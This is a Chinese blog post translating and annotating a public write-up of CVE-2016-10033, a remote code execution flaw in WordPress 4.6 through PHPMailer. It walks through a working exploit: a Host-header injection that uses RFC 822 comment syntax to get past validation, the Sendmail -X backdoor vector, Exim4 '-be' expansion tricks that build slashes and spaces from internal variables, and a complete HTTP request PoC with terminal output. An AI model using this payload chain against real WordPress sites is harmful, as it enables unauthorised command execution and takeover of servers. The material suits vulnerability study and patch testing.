WordPress Exploit-4-6 RCE CVE-2016-10033

20 篇文章 0 订阅

原文:
https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html

绕过过滤器

To exploit the PHPMailer’s mail() injection vulnerability, an attacker would
have to be able to append parameters to the domain part.
However, the filtration/validation in
place (both on the wordpress side as well as PHPMailer library side) would
prevent the attacker from injecting white-characters (such as space
or TAB) and therefore from injecting parameters to sendmail binary.

For example, if attacker modified the HOST header to the following:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: 77caikikilINJECT SPACE
要利用PHPMailermail()注入这个漏洞的话,攻击者必须得能向domain部分添加参数。然而无论是wordpress的还是PHPMailer库的过滤/验证机制都可以防止攻击者注入特殊字符的(比如空格和TAB),于是也就不能向sendmail程序注入参数了。比如,如果攻击者将Host头修改成这样:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: 77caikikiINJECT SPACE

由于验证机制的存在会造成domain部分的错误,从而wordpress会退出并会响应500.

HTTP/1.0 500 Internal Server Error

这里写图片描述
这样也就无法利用了。
The validateAddress() function of PHPMailer library as well as PHP’s
filter_var()/FILTER_VALIDATE_EMAIL are both complient with RFC 822 standard
as we can read at:
http://php.net/manual/en/filter.filters.validate.php
注:filter_var() Filters a variable with a specified filter
这里写图片描述
这种机制会禁止空格出现在domain字段中,从而无法向/usr/sbin/sendmail传递参数了。

RFC 822 and comment syntax

然而看看RFC 822标准可以找到一种潜在的绕过验证机制的方法。『email地址可以包含空格!』

3.4.3. COMMENTS
A comment is a set of ASCII characters, which is enclosed in
matching parentheses and which is not within a quoted-string
The comment construct permits message originators to add text
which will be useful for human readers, but which will be
ignored by the formal semantics. Comments should be retained
while the message is subject to interpretation according to
this standard. However, comments must NOT be included in
other cases, such as during protocol exchanges with mail
servers.

这篇文章给了一个在括号中添加commnet的合法的email地址:

":sysmail"@  Some-Group. Some-Org,
          Muhammed.(I am  the greatest) Ali @(the)Vegas.WBA

一般简化的带有comment的email地址如:

77caikiki@example.com(comment)

经过深入的测试,发现commnet部分可以包含空格,可以用来绕过验证机制从而将参数注入到sendmail命令中。

Injecting parameters via comment syntax

一下这样的Host请求头不会在服务端造成错误,

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: 77caikiki(tmp1 injected tmp2)

并且会把一下参数传入到sendmail中

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fwordpress@xenial(tmp1]
Arg no. 4 == [injected]
Arg no. 5 == [tmp2)]

这样我们就可以绕过wordpress过滤器提供的过滤/验证机制

apply_filters( 'wp_mail_from_name', $from_name );

以及PHPMailer提供的setFrom()验证了。
现在我们就能够完全控制sendmail的第四个参数('injected')了。如果必要的话,可以在sendmail的第三个和第五个参数之间加入更过的参数。现在理论上我们就可以向/usr/sbin/sendmail注入更多的参数从而实现RCE了。

Code Execution via Sendmail MTA

到目前为止,现在知道的向PHP mail()函数进行RCE利用的唯一方式取决于在目标系统上的Sendmail MTA
最普通的Sendmail MTA攻击向量如:

-OQueueDirectory=/tmp/ -X/var/www/html/backdoor.php

这样可以用一个php的后门写入一个log文件。
但是,目前存在两个问题,
1) 通过这里的数据知道sendmail并没有那么普及。可以看出sendmail是在Linux的MTA中最不普及的那个。

这里写图片描述

它并没有随着现代流行Linux版本发行,所以不太可能在目标系统上发现sendmail。
2) 正如前面所提到的,hostname会被复制到$_SERVER[SERVER_NAME]中,变量会变成小写。也就是说,如果想向sendmail传递这样的参数的话,

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 -O -X tmp2)

在服务端的sendmail参数中会被变成

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fwordpress@xenial(tmp1]
Arg no. 4 == [-o]
Arg no. 5 == [-x]
Arg no. 6 == [tmp2)]

因为sendmail对参数是大小写敏感的,sendmail会fail掉,因为它不认识-o-x这样的参数。

Code execution via Exim4 MTA

通过研究其他的email sending libraries (参考之前发布的关于PHPMailer, ZendMail, Swiftmailer的公告)的 vulnerabilities,作者发现了一个Exim MTA新的利用方式,虽然Exim MTA之前看起来像是不受mail()注入攻击影响的。
能够通过Exim4 MTA来进行RCE这件事打开了对PHPMailer以及其他email libraries利用的可能性。因为在大多数Linux发行版(比如Debian)中Exim4是默认的MTA。

Direct code execution with Exim4 MTA

cqq@ubuntu:/etc/apache2$ sendmail -be '${run{/bin/true}{true}{false}}'
true

其中-be参数enables string expansion testing mode。

注意:在装有Exim4的系统里,/usr/sbin/sendmail只是一个软链接。

cqq@ubuntu:/etc/apache2$ which sendmail
/usr/sbin/sendmail
cqq@ubuntu:/etc/apache2$ ll /usr/sbin/sendmail
lrwxrwxrwx 1 root root 5 Jan  5 22:50 /usr/sbin/sendmail -> exim4*

跟Sendmail MTA没有关系。Sendmail MTA并不需要一定安装在系统上。

Substrings & Environment variables

还有一个想法就是利用环境变量,结合substrings将被禁止的/字符提取出来。比如环境变量包含/

PATH=/bin:/usr/bin

于是我们就有了一个好的候选目标了。${env{PATH}}可以用来得到变量,并且当与$substring扩展连接的时候,可以通过一下命令得到/

cqq@ubuntu:/var/www/test_composer$ sendmail -be '${substr{0}{1}{${env{PATH}}}}'
/

然后这种方法其实是行不通的,因为要通过Host头来注入像PATH这样的环境变量的话,会在这个过程中被转化成小写(之前提到了),所以在Linux平台上不得行。

cqq@ubuntu:/var/www/test_composer$ echo $PATH
/home/cqq/bin:/home/cqq/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/opt/splunk/bin:/opt/splunk/bin
cqq@ubuntu:/var/www/test_composer$ echo $path

cqq@ubuntu:/var/www/test_composer$

Substrings & internal exim4 variables

通过反复尝试,发现这样可以

cqq@ubuntu:/var/www/test_composer$ sendmail -be '${spool_directory}'
/var/spool/exim4
cqq@ubuntu:/var/www/test_composer$ sendmail -be '${substr{0}{1}{$spool_directory}}'
/

spool_directory是默认就有的,并且不含有大写,所以用它能可靠的执行。

cqq@ubuntu:/var/www/test_composer$ sendmail -be '${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch ${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test'
/usr/bin/touch /tmp/test

Replacing spaces

首先想到的是$IFS环境变量,然而它是大写,跟前面提到的一样,不得行。通过后续的研究,发现了一个很方便的exim内部变量:tod_log。它返回当前的格式化的日趋,重要的是,它包含一个空格!

cqq@ubuntu:/var/www/test_composer$ sendmail -be '${tod_log}'
2017-05-08 14:03:05
cqq@ubuntu:/var/www/test_composer$ sendmail -be '${substr{10}{1}{$tod_log}}'

cqq@ubuntu:/var/www/test_composer$ sendmail -be '${substr{10}{1}{$tod_log}}'|xxd  -p
200a
# 空格不好观察,于是用xxd的plain test模式打印出空格的16进制

于是就有了如下HTTP请求的PoC。

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}  tmp2)
Content-Type: application/x-www-form-urlencoded
Content-Length: 56


user_login=admin&redirect_to=&wp-submit=Get+New+Password

以上HTTP请求发送到WordPress的核心应用时,会传给exim如下参数:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fwordpress@xenial(tmp1]
Arg no. 4 == [-be]
Arg no. 5 == [${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}]
Arg no. 6 == [tmp2)]

于是会执行:

/usr/bin/touch /tmp/test

即会在目标系统上创建一个/tmp/test的文件。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值